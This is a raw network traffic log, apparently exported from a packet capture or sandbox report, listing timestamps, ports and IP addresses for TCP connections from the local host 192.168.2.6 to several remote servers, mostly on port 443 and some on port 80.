Nov 23, 2024 19:52:22.317967892 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.317981958 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.317986012 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.318011045 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.318032980 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.319725037 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.319793940 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.319799900 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.319854975 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.321813107 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.321882963 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.321890116 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.322078943 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.324563026 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.324626923 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.324634075 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.325390100 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.325449944 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.325457096 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.325475931 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.325516939 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.330532074 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.330630064 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.330646038 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.330668926 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.330702066 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.330739975 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.332027912 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.333394051 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.333404064 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.342426062 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.342489004 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.342511892 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.342520952 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.342555046 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.342576981 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.361988068 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.362042904 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.362088919 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.362131119 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.362165928 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.362189054 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.374455929 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.374533892 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.374547005 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.374624968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.374648094 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.376864910 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.377093077 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.378464937 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.378488064 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.379241943 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.379247904 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.385976076 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.385999918 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.386056900 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.386065960 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.386101007 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.386118889 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.396336079 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.396724939 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.396735907 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.397227049 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.397231102 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.398737907 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.398761034 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.398824930 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.398833036 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.398889065 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.408127069 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.408174992 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.408221960 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.408230066 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.408257008 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.408293009 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.416301966 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.416462898 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.416465044 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.416495085 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.416536093 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.416558027 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.424391985 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.424484968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.424542904 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.424551010 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.424587011 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.424607038 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.433099031 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.433142900 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.433191061 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.433197975 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.433239937 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.442673922 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.442719936 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.442770004 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.442776918 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.442814112 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.442826033 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.486449003 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.486471891 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.486675978 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.486685991 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.486861944 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.494487047 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.494508982 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.494574070 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.494585991 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.494635105 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.494654894 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.501764059 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.501785040 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.501833916 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.501842022 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.501928091 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.501928091 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.510674000 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.510706902 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.510771036 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.510783911 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.510834932 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.521452904 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.521476030 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.521560907 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.521568060 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.521614075 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.532202005 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.532223940 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.532426119 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.532434940 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.533569098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.538346052 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.538367033 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.538408041 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.538414955 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.538431883 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.538460016 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.543478966 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.543500900 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.543555021 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.543562889 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.543590069 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.543612957 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.549283028 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.549304962 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.549384117 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.549400091 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.549429893 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.549448967 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.555212021 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.555233955 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.555279016 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.555286884 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.555325031 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.555380106 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.560620070 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.560641050 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.560712099 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.560719967 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.560749054 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.560770035 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.566036940 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.566056967 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.566097975 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.566104889 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.566131115 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.566154003 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.570749044 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.570769072 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.570842981 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.570851088 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.570945024 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.597639084 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.597693920 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.602813959 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.602888107 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.602961063 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.603269100 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.603286028 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.603297949 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.603302956 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.609196901 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.609230042 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.609297991 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.609435081 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.609447956 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.616611004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.616707087 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.732711077 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.732774973 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.732927084 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.733325005 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.733392000 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.733545065 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.733577013 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.733577013 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.733589888 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.733598948 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.733629942 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.733654022 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.733666897 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.733675003 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.736031055 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.736052990 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.736057043 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.736083984 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.736129045 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.736150026 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.736407995 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.736418962 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.736490965 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.736510038 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.742393970 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.742427111 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.742503881 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.742516994 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.742590904 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.742590904 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.746277094 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.746289015 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.746371984 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.746377945 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.746409893 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.749490976 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.749521017 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.749588966 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.749594927 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.749627113 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.749648094 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.753434896 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.753465891 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.753530025 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.753535986 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.753586054 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.756638050 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.756669044 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.756741047 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.756747007 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.756769896 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.756792068 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.759185076 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.759218931 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.759866953 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.760159969 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.760173082 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.760550976 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.760580063 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.760633945 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.760639906 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.760694981 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.760694981 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.760703087 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.760771990 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.760823011 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.766098976 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.766108990 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.805114031 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.851171017 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.851243019 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.851295948 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.851655960 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.851681948 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.851744890 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.851751089 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.851969957 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.852044106 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.852207899 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.853096962 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.853111029 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.853315115 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.853332043 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.855391979 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.855474949 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.855659962 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.856774092 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.856795073 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.857089996 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.857276917 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.857316971 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.857498884 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.857506990 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:23.009815931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:23.009830952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:23.009849072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:23.009859085 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:23.010046005 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:23.010094881 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:23.715815067 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:23.715888977 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:23.715976000 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:23.725879908 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:23.725903034 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:23.853817940 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:23.853879929 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:23.884934902 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:23.884998083 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:23.885059118 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:23.885484934 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:23.885505915 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:24.000524998 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:24.000597000 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:24.002742052 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:24.002753973 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:24.002993107 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:24.004858971 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:24.004923105 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:24.004930973 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:24.005095959 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:24.051323891 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:24.136589050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.256195068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.469512939 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.469975948 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.470001936 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.471548080 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.471554041 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.550717115 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:24.550832033 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:24.551280022 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:24.551291943 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:24.551711082 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:24.551717043 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:24.568540096 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:24.568710089 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:24.568815947 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:24.568984985 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:24.569001913 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:24.589999914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.590133905 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.590150118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.590200901 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.594206095 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.594255924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.594283104 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.594516039 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.599737883 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.599850893 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.599858046 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.599915028 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.604676008 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.605087042 CET	49743	443	192.168.2.6	13.107.246.63
